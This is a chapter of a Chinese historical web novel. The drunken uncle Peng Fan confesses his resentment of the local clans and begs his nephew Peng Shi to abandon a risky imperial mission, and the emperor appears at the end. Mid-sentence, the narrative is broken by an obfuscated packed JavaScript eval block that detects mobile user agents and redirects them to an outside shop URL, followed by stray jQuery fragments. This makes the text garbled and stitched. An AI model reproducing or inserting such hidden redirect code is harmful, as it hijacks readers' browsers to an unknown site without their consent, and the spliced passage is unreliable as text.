砰!
正准备就寝的彭时,猛地抬起头,手迅速摸上了挂在床边的利剑。
当他看清来人时,便缓缓松开了手,起身躬身道:“叔父这么晚来,是有什么要紧事么?”
彭凡晃晃悠悠的走上前,露出醉醺醺的笑容,也不管彭时同不同意,便拍着他的肩膀笑道:“这...这不是我彭家的状元郎吗。
越发精神了。”
彭时闻着彭凡身上浓厚的酒气,无奈摇头道:“叔父您这是又去参加文会了?”
彭凡脑袋来回晃悠了几圈,不知是点头还是摇头,在彭时的搀扶下躺到床上,口中仍喃喃道。
“酒呢?
我的酒呢!”
彭时无奈叹了口气,准备出门去取些茶水,就在他将要离开时,突然感觉自己的手被死死抓住。
他扭过头,只见彭凡瞪着通红的眼睛,死死盯着他,眼中隐约有水光闪烁。
彭时一惊,“叔父,您这是怎么了?”
“纯道啊,叔父、叔父错了。”彭凡嘴唇颤抖道:“我就不该答应他们来此,我就不该让你和他们多见面,我......”
话音未落,彭凡突然抬起手,重重扇了自己一巴掌。
彭时懵了,见彭凡还想动手,忙抬手拦住,诧异道:“叔父你这是做什么?!”
“错了,我错了,我就不该答应他们。
是我,是我害了你纯道啊!”
彭凡努力了几下,见挣脱不得,竟直接嚎啕大哭起来。
“究竟发生了什么?”彭时焦急问道。
彭凡语无伦次,费了好半天功夫,才将今天发生事情说清楚,到最后已经是泣不成声。
“我早该知道,他王家陈家,为何会突然对咱们礼遇有加。
不过...不过是有求于咱们罢了。
我早该知道,我早该知道!
我当时还劝你,与他们好生结交,是我错了啊。
是我误了你啊!
如今...如今此事一出,他们将咱们弃若敝屣,连正眼都不看一下。
和当年一样,他们一点都没变。”
今天一天,他听了无数尖酸刻薄的话,遭受了无数白眼,就连往日恭敬的下人,都开始对他甩脸子,逼得他只能饮酒买酒,逃避现实。
彭时耐心听完,表情变得十分复杂,片刻后才轻声道:“叔父,您喝多了。”
“我没醉,我就是难过!”彭凡用力捶着自己的胸口,声泪俱下道:“纯道,我真的没有坏心思。
我真的只是想为彭家尽一份心力!
真的,除此之外别无所求......”
彭凡絮絮叨叨说了半天,忽然像是想起了什么,激动道。
“我彭家,怎么说也是从宋朝绵延至今的大族。
虽然当年先祖只是个安福县的判官,但起码咱们是书香门第、诗礼传家。
可他们呢?
只论家祖官职高低,门楣大小!
当年你祖父,厚礼聘请先生教我等启蒙。
我本以为,只要论才学便好。
可等我出了安福,远游求学......”
彭凡突然像是被人掐住了脖子,双眼暴突,半晌没有出声。
就在彭时担心时,彭凡才长长吐出一口气,跌坐在床上,喟然长叹道:“满腹经纶,终不抵一官半职。
先生对他们,便是温文有礼,到我这,便是恶声恶气。
明明大家学识一般高,我怎能...怎能服气。”
看着颓唐的彭凡,彭时一时间也不知如何安慰,只能从旁边搬过一把椅子,坐在床边,静静的看着他。
彭凡靠在墙上,双目无神的望着地面,许久才喃喃道:“你祖父曾教导我,莫要羡人长,莫要笑人短。
后半句我能做到,可前半句...我始终咽不下那口气。
我承认,我读书不如你彭琉叔父。
他才学出众,蒙翰林看中,一路平布青云,如今已是湖广按察副使。
也幸亏有他,从他做官的那一天起,那些人的态度终于变了。
后来我本以为我能释然,可当我再见到那些人的时候,我才知道我没忘。
他们或许都已经忘了,当初他们对我是如何鄙夷冷漠,但我忘不了!”
面对袒露心声的叔父,彭时既没有劝他大度,也没有顺着他的话痛斥那帮人的势利,而是叹了口气,拉住他的手,温和道。
“叔父,这些年,苦了你了。”
彭凡对彭时性格再熟悉不过,本来准备好挨骂的他,听到这话瞬间失神。
片刻后,他突然捂住了脸,泪水顺着手掌溢出,滴落在床单上,哽咽道:“是我贪心了。
叔父...叔父骗了你。
叔父并不是想尽一份心,叔父就是不想让他们看不起我!
彭琉能看淡这一切,我不能!
我只想...我只想被他们高看一眼。
所以我才拉下脸去奉承陈立和王信,都是同乡,我只想让你以后走的顺一些,高一些,这样他们...他们也能高看我一眼。”
彭凡放下手,露出一张狼狈苍老的脸,全无往日的意
气风发,像一根风中残烛,几欲熄灭。
彭时正要安慰,彭凡忽然探出身,按着他的手,哭泣道:“好孩子,咱们不和他们争了。
咱们回去吧,好么?
叔父已经害了你,趁着现在还有转机,找个合适的由头,咱们回京城。
以陛下对你的信任,势必不会重责你。
咱们不趟这摊浑水,行么?”
烛光下,彭时双目如水,闪烁着温润的荧光。
看着满脸哀求的彭凡,他叹了口气,接着轻轻摇头,沉声道:“叔父,你醉了,先好生休息吧。”
彭凡眼睛瞪得越发大了,急道:“你为什么不回去?
你难道还看不清这是怎么回事么?”
不等彭时回答,彭凡就焦急低喝道:“皇帝要对那些大族动手,把你扔出来,就是当个马前卒!
你是右都御史不假!但只是暂领!
还不明白什么意思么?
成与不成,好处都落不到你身上!
你现在站在哪边都不合适,最好的办法是辞了这个差事!
否则到最后,你能留下一条性命,都是上苍保佑!”
彭凡的脸因为焦急涨得通红,头顶青筋直冒,飞速颤动着。
他死死盯着彭时的嘴,想要看到他期望的回答。
片刻后,彭时却轻声道:“叔父何以觉得,此事不成?”
彭凡闻言胸膛剧烈起伏了几下,又急又气道:“昔年太祖太宗都没做到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14008853|148556||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的事,他凭什么能做到?
世家若是那么容易低头,昔年空印案和郭桓案为何还要杀那么多人?!
而且改变了什么吗?
什么都没变,隐田隐户依旧,苛捐杂税照收。
包括南直隶在内,江南那些大族什么情况,你难道还不清楚么!
一荣俱荣,一损俱损!
莫非皇帝还想屠城么?!”
彭时见状忙伸出手,帮彭凡顺气,接着轻声道:“叔父,昔年家父曾说过一句话,让我记忆犹新。”
他盯着彭凡颤动的双眸,一字一顿道:“宁向直中取,不向曲中求。
莫非不变,我便不做了?”
“所以你父亲不能做官!”彭凡气急败坏道:“做官,讲的不是横冲直撞,讲的是妥协求全。”
“若是那般,这官,不做也罢。”彭时坚定道。
“若无官身,你今日连坐在这机会都没有,更不要说掺合进这种事!”彭凡几近癫狂,口水四溅,看起来同疯了一般。
彭时也不躲避,起身取了条手帕,递给彭凡,平静道:“既然有了这官身,不做岂不是可惜?”
“你......”
彭凡指着彭时,无言以对。
彭时笑了笑,话锋一转道:“叔父,家中族训,你可还记得?”
彭凡一怔,脱口而出道:“尔处者孝友是为,而尔仕者清白是持......”
“或不然者,庸俗之归。”彭时接上了后半句,平静的看向彭凡,轻声道;“彭琉叔父曾说过,持身要正,方能无往而不利。
和光同尘也好,同流合污也罢,我彭时不屑为之。
叔父您也不必太过自责,与他们打交道这件事,是我心甘情愿。
侄儿有错,让叔父担心了。”
彭时起身,在彭凡呆滞的目光中行了一礼,“叔父莫要再劝侄儿了。
此事不成,我誓不还京。
哪怕粉身碎骨,也在所不惜!”
彭凡默然,眼泪止不住的涌出,顺着面颊滑落。
对这位族中最成器的弟子,他最为看重。
谁能想到,因为自己一时之念,竟让他的光明的前途变得渺茫起来。
彭凡挣扎着站起身,紧紧抓住彭时的臂膀,颤声道:“纯道,叔父.......叔父愧对你啊。”
“叔父言重了,您心中所想,侄儿很清楚。
人非圣贤,岂能没有贪求之心。
但...侄儿觉得,与其让人看父敬子,不如让人看子敬父。
彭家虽不是高门大户,但也不是能随意欺侮的。
您放心,今日他们所言,侄儿定为您讨个公道。”
听到这安慰的话语,本就愧疚的彭凡再也支撑不住,双腿一软跌坐在地,捂着脸嚎啕大哭。
似是悔恨,又像是感激。
彭时正发愁该如何安慰,突然听见门口传来脚步。
他扭过头,瞬间愣在原地。
只见刘邦拢手入袖,懒洋洋的站在门口。
身边朱见深学着他的样子,同样站得七扭八歪。
“陛....陛下?”彭时用力揉了揉眼睛,怀疑自己出现了幻觉。
“说的对。”刘邦轻笑道:“乃公的人,怎能被人随意侮辱。
这个公道,乃公帮你讨了。”